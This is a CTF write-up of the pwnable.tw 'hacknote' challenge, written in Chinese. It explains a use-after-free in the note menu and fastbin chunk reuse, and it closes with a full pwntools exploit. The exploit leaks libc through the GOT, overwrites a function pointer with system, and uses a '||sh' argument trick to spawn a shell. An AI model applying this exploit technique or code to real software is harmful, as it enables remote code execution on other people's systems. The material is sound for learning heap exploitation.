pwnable.tw——hacknote分析
hacknote的题目分析
2020-02-24 21:22:47 by hawkJW
这是一道比较经典的题目,所以稍微记录一下
1. 程序流程总览
首先,还是老规矩,看一下保护情况
可以看出来,PIE没有开启,可以修改got表,其余基本上都开启了,保护程度一般吧。下面我们来看一下程序的具体流程吧。
没什么好说的,还是比较经典的菜单题目。但是需要注意的是,对于note仅仅有 add 、 delete 和 print 功能,也就是没有修改功能,这个可能会对我们造成一定的影响
2. 漏洞
实际上,这个题目就是一道典型的堆问题。我们需要说先介绍一下对应的数据结构。
实际上,正如如下的源代码所显示的一样
首先请求一个控制chunk(实际大小为0x10),则其有0x8的可用空间,前4字节实际上是一个函数指针——后面会提到,后四个字节指向真正的输入内容部分,也就是info chunk。
而释放的时候则是首先释放info chunk,其次再释放控制chunk,代码如图所示
而此处就有一个漏洞——UAF漏洞,即释放之后并没有清空指针,则仍然可以调用其他的相关函数。
继续介绍数据结构。
下面就是 print 函数的部分,代码如图所示,
也就是,实际上调用了控制chunk可用部分的前4个字节的函数指针所指向的函数,参数为控制chunk可用部分地址。
那么,如果我们可以修改控制chunk中可用部分的前4个字节所指向的位置,修改为system,并在后四个字节中添加上 ||sh (这里一开始没想到,注意为了执行shell命令,可以的一些方法 sh# 或者 ||sh ,前一个可以注释掉后面的字符串,后一个如果前面不是有效命令的话可以执行shell),那么我们则可以成功获取到shell脚本。
3. 漏洞利用
这里我们介绍一下如何使用这个漏洞——实际上,用到了fast bin的分配原理,这里不详细介绍,直接说结论——释放掉fast bin的时候,会根据大小进行分类,并且每次请求的时候会按照后释放先分配的顺序在对应的类中重新进行分配。那么问题也就简单了,如果我们连续申请两个note(记住要让info chunk的大小大于0x10,否则就无法成功利用该漏洞),释放掉后再次申请一个note(此时要让info chunk的大小等于0x10),此时,根据之前所说的,此时的info chunk实际上就是前面的释放掉的note的其中一个控制chunk(因为他们大小相等),而我们可以向该note的info chunk,也就是前两个note之一的控制chunk输入,则成功达到我们的目的。之后我们就可以通过释放该note在重新申请同样大小的info chunk的note,来反复修改前两个note之一的控制chunk,从而完成漏洞利用,结构图如图所示
最后放上完整的wp
#coding:utf-8 from pwn import * #context.log_level = 'debug' debug = 1 def wp_add(size, content): r.recvuntil('Your choice :') r.send('1'.ljust(4, '\x00')) r.recvuntil('Note size :') r.send(str(size).ljust(8, '\x00')) r.recvuntil('Content :') r.send(content) def wp_delete(index): r.recvuntil('Your choice :') r.send('2'.ljust(4, '\x00')) r.recvuntil('Index :') r.send(str(index).ljust(4, '\x00')) def wp_print(index): r.recvuntil('Your choice :') r.send('3'.ljust(4, '\x00')) r.recvuntil('Index :') r.send(str(index).ljust(4, '\x00')) return r.recv(4) def wp_exit(): r.recvuntil('Your choice :') r.send('4'.ljust(4, '\x00')) def exp(debug): global r if debug == 1: r = process('./hacknote') #gdb.attach(r, 'b *0x0804869A') lib = ELF('/lib/i386-linux-gnu/libc-2.23.so') else: r = remote('111.198.29.45', 41471) lib = ELF('./hacknote_lib') elf = ELF('./hacknote') print elf.got['puts'] wp_add(0x20, 'a') #index:0 wp_add(0x20, 'a') #index:1 wp_delete(0) wp_delete(1) wp_add(0x8, p32(0x0804862B) + p32(elf.got['puts'])) #index:2 lib_base = u32(wp_print(0)) - lib.sym['puts'] log.info('lib_base => %#x'%lib_base) wp_delete(2) wp_add(0x8, p32(lib_base + lib.sym['system']) + '||sh') wp_print(0) r.interactive() exp(debug)